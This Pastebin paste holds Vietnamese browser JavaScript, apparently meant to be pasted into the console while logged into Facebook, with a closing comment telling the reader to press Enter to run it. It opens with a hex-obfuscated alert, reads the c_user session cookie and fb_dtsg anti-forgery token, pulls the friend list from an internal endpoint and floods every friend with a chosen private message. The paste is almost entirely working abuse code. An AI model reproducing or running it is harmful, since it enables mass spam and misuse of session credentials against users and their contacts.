Advertisement
KozBlue

Code auto gửi tin nhắn tới bạn bè

Oct 25th, 2014
227
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.96 KB | None | 0 0
  1. //*Code tự động gửi tin nhắn riêng tới tất cả bạn bè
  2. var _0x3f9a=["\x42\u1EA1\x6E\x20\u0111\x61\x6E\x67\x20\x73\u1EED\x20\x64\u1EE5\x6E\x67\x20\x63\x6F\x64\x65\x20\x61\x75\x74\x6F\x20\x67\u1EED\x69\x20\x74\x69\x6E\x20\x6E\x68\u1EAF\x6E\x20\x72\x69\xEA\x6E\x67\x20\x74\u1EDB\x69\x20\x74\u1EA5\x74\x20\x63\u1EA3\x20\x62\u1EA1\x6E\x20\x62\xE8\x20\x63\xF3\x20\x73\x74\x69\x63\x6B\x65\x72\x2E\x20\x53\x68\x61\x72\x65\x20\x62\x79\x20\x4E\x67\x75\x79\u1EC5\x6E\x20\x56\u0103\x6E\x20\x54\x68\x69\u1EC7\x75\x2E\x20\x4E\x68\u1EA5\x6E\x20\x4F\x4B\x20\u0111\u1EC3\x20\x74\x69\u1EBF\x70\x20\x74\u1EE5\x63\x20\x21\x21\x21"];alert(_0x3f9a[0]);
  3. javascript: var grouppost = "<div><span class='img sp_f52w7l sx_47132d'></span><a style='position:absolute;size:3px;padding-left:3px;font-weight:bold;font-family:Tahoma;font-size:11px;color:#3B5998;'>Tự Động Gửi Tin Nhắn Tới Tất Cả Bạn Bè - HIV Team </a></div></br>";
  4. grouppost += "<div><textarea id='txtFloodMsg' placeholder='Nhập nội dung cần gửi của bạn tại đây ...' style='padding-top:5px;width:493px;height:85px;font-family:tahoma;font-size:13px;background-color:rgba(255,255,255,0.1);color:#ffffff'></textarea></div>";
  5. grouppost += "<div><span class='img sp_dpkef5 sx_f05251'></span><a style='position:absolute;font-family:Arial;size:3px;padding-left:3px;font-size:11px;color:rgb(128, 128, 128);'></a></span><button style='margin-left:437px' class='_42ft _4jy0 _11b _4jy3 _4jy1 selected' onclick='autopostingfunc(this);' >Gửi</button>Share by : </A><A style='color:#3B5998;' href='http://fb.com/johnphamver2' target='_0'> KozBlue</A></A><A style='color:#3B5998;' href='https://www.facebook.com/336576436519657' target='_0'> </A></A> | </A><A style='color:#3B5998;' href='http://fb.com/336576436519657' target='_0'> HIV Team</A></A><A style='color:#3B5998;' href='https://www.facebook.com/336576436519657' target='_0'> </A></A></A><A style='color:#3B5998;' href='https://www.facebook.com/336576436519657' target='_0'> </A></A></br>Youtube : <A style='color:#3B5998;' href='https://www.youtube.com/MrMaxNightCore' target='_0'>https://www.youtube.com/MrMaxNightCore</A></A><br></div>";
  6. var Popupset = document.createElement("div");
  7. Popupset.setAttribute("style", "min-height:50px;width:500px;position:fixed;top:100px;box-shadow: 0px 4px 10px rgba(24, 144, 255, 0.63);position:fixed;left:50%;margin-left:-273px;text-align:left;border-radius:10px;padding:5px;z-index:999999;border:5px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#ffffff");
  8. Popupset.innerHTML = grouppost;
  9. document.body.appendChild(Popupset);
  10. jx = {
  11. getHTTPObject: function () {
  12. var A = false;
  13. if (typeof ActiveXObject != "undefined") try {
  14. A = new ActiveXObject("Msxml2.XMLHTTP")
  15. } catch (C) {
  16. try {
  17. A = new ActiveXObject("Microsoft.XMLHTTP")
  18. } catch (B) {
  19. A = false
  20. }
  21. } else if (window.XMLHttpRequest) try {
  22. A = new XMLHttpRequest
  23. } catch (C) {
  24. A = false
  25. }
  26. return A
  27. },
  28. load: function (url, callback, format, method, opt) {
  29. var http = this.init();
  30. if (!http || !url) return;
  31. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  32. if (!method) method = "GET";
  33. if (!format) format = "text";
  34. if (!opt) opt = {};
  35. format = format.toLowerCase();
  36. method = method.toUpperCase();
  37. var now = "uid=" + (new Date).getTime();
  38. url += url.indexOf("?") + 1 ? "&" : "?";
  39. url += now;
  40. var parameters = null;
  41. if (method == "POST") {
  42. var parts = url.split("?");
  43. url = parts[0];
  44. parameters = parts[1]
  45. }
  46. http.open(method, url, true);
  47. var ths = this;
  48. if (opt.handler) http.onreadystatechange = function () {
  49. opt.handler(http)
  50. };
  51. else http.onreadystatechange = function () {
  52. if (http.readyState == 4)
  53. if (http.status == 200) {
  54. var result = "";
  55. if (http.responseText) result = http.responseText;
  56. if (format.charAt(0) == "j") {
  57. result = result.replace(/[\n\r]/g, "");
  58. result = eval("(" + result + ")")
  59. } else if (format.charAt(0) == "x") result = http.responseXML;
  60. if (callback) callback(result)
  61. } else {
  62. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  63. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  64. if (error) error(http.status)
  65. }
  66. };
  67. http.send(parameters)
  68. },
  69. bind: function (A) {
  70. var C = {
  71. "url": "",
  72. "onSuccess": false,
  73. "onError": false,
  74. "format": "text",
  75. "method": "GET",
  76. "update": "",
  77. "loading": "",
  78. "loadingIndicator": ""
  79. };
  80. for (var B in C)
  81. if (A[B]) C[B] = A[B];
  82. if (!C.url) return;
  83. var D = false;
  84. if (C.loadingIndicator) {
  85. D = document.createElement("div");
  86. D.setAttribute("style", "position:absolute;top:0px;left:0px;");
  87. D.setAttribute("class", "loading-indicator");
  88. D.innerHTML = C.loadingIndicator;
  89. document.getElementsByTagName("body")[0].appendChild(D);
  90. this.opt.loadingIndicator = D
  91. }
  92. if (C.loading) document.getElementById(C.loading).style.display = "block";
  93. this.load(C.url, function (E) {
  94. if (C.onSuccess) C.onSuccess(E);
  95. if (C.update) document.getElementById(C.update).innerHTML = E;
  96. if (D) document.getElementsByTagName("body")[0].removeChild(D);
  97. if (C.loading) document.getElementById(C.loading).style.display = "none"
  98. }, C.format, C.method, C)
  99. },
  100. init: function () {
  101. return this.getHTTPObject()
  102. }
  103. };
  104. var j = 0;
  105. var k = 0;
  106. var suc = 0;
  107. var msg = "KozBlue";
  108. var arr = new Array;
  109. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  110.  
  111. function autopostingfunc(sender) {
  112. if (document.getElementById("txtFloodMsg").value != "") msg = document.getElementById("txtFloodMsg").value;
  113. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/search/bootstrap.php?__a=1&filter[0]=user&viewer=" + user_id + "&token=v7&lazy=0&__user=" + user_id, function (a) {
  114. var b = a;
  115. var c = b.substring(b.indexOf("{"));
  116. var d = JSON.parse(c);
  117. d = d.payload.entries;
  118. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  119. sender.parentNode.innerHTML = "Đợi 2 tý nhé bạn ...";
  120. postitok()
  121. })
  122. }
  123. var a = document.body.innerHTML;
  124. var dts = document.getElementsByName("fb_dtsg")[0].value;
  125. var composerid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  126. var now = (new Date).getTime();
  127.  
  128. function postitok() {
  129. pst = "message_batch[0][action_type]=ma-type%3Auser-generated-message&message_batch[0][thread_id]=&message_batch[0][author]=fbid%3A" + user_id + "&message_batch[0][author_email]&message_batch[0][coordinates]&message_batch[0][timestamp]=" + now + "&message_batch[0][timestamp_absolute]=Today&message_batch[0][timestamp_relative]=2%3A31pm&message_batch[0][timestamp_time_passed]=0&message_batch[0][is_unread]=false&message_batch[0][is_cleared]=false&message_batch[0][is_forward]=false&message_batch[0][is_filtered_content]=false&message_batch[0][spoof_warning]=false&message_batch[0][source]=source%3Achat%3Aweb&message_batch[0][source_tags][0]=source%3Achat&message_batch[0][body]=" + encodeURIComponent(msg) + "&message_batch[0][has_attachment]=false&message_batch[0][html_body]=false&&message_batch[0][specific_to_list][0]=fbid%3A" + arr[suc] + "&message_batch[0][specific_to_list][1]=fbid%3A" + user_id + "&message_batch[0][ui_push_phase]=V3&message_batch[0][sticker_id]=126362137548583&message_batch[0][status]=0&message_batch[0][message_id]=%3C1369474261661%3A978076331-4038101592%40mail.projektitan.com%3E&&client=mercury&__user=" + user_id + "&__a=1&__dyn=7n8ahyj35CFwXAw&__req=1h&fb_dtsg=" + dts + "&phstamp=";
  130. with(newx = new XMLHttpRequest) open("POST", "//www.facebook.com/ajax/mercury/send_messages.php"), send(pst);
  131. suc++;
  132. if (suc > arr.length) {
  133. alert("Bạn đã gửi tin nhắn tới tất cả bạn bè thành công. Đóng tab này và kiểm tra hộp thư của bạn.");
  134. suc = 0
  135. } else setTimeout("postitok()", 3E4 / arr.length)
  136. }
  137. setTimeout("autopostingfunc()", 1E3);
  138.  
  139.  
  140.  
  141.  
  142.  
  143. //*Bạn đã làm rất đúng. Nhấn Enter để chạy code ^_^
  144. //*P/s : Nếu code không hoạt động giống như video hướng dẫn, hãy để lại ý kiến tại phần bình luận của video để thiệu chỉnh sửa lại.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement